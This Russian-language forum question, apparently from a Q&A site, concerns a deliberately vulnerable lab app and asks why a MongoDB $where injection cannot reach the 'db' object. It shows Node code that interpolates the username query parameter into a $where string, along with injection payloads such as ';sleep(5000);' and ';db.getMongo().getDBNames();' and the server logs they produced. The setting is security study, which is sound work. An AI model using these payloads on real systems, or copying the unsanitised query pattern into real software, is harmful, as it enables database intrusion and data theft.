MongoError, ReferenceError: БД не определена
Это намеренно уязвимая лаборатория для изучения Nosql-инъекций, конкретного случая $where
Код:
let username = req.query.username;
query = { $where: `this.username == '${username}'` }
User.find(query, function (err, users) {
if (err) {
// Handle errors
} else {
res.render('userlookup', { title: 'User Lookup', users: users });
}
});
Пока мне удалось выполнить код javascript, например:
user/lookup?username=';sleep(5000);'
Мои следующие намерения — попытаться собрать данные внутри dbs, так как $where позволяет мне выполнять что-то.
Итак, если я сделаю, например:
user/lookup?username=';db.getMongo().getDBNames();'
Я получаю эту ошибку:
{"ok":0,"code":139,"codeName":"JSInterpreterFailure","name":"MongoError"}
Чтение логов сервера:
...
cmd":{"find":"user","filter":{"$where":"this.username ==
'';db.getMongo().getDBNames();''"},"projection":{},"lsid":{"id":{"$uuid":"d910e28c-
7303-45b2-8888-2defbb220e0a"}},"$db":"vulnerablemean"}}}
node_1 | { MongoError: Executor error during find command :: caused by ::
ReferenceError: db is not defined :
...
Но если в оболочке монго я запускаю ту же строку, я получаю результат:
> db.getMongo().getDBNames()
[ "admin", "config", "local", "vulnerablemean" ]
Я хотел бы понять, почему это происходит. Я имею в виду, это на самом деле не упоминается?
Как я могу получить тот же результат с помощью инъекции?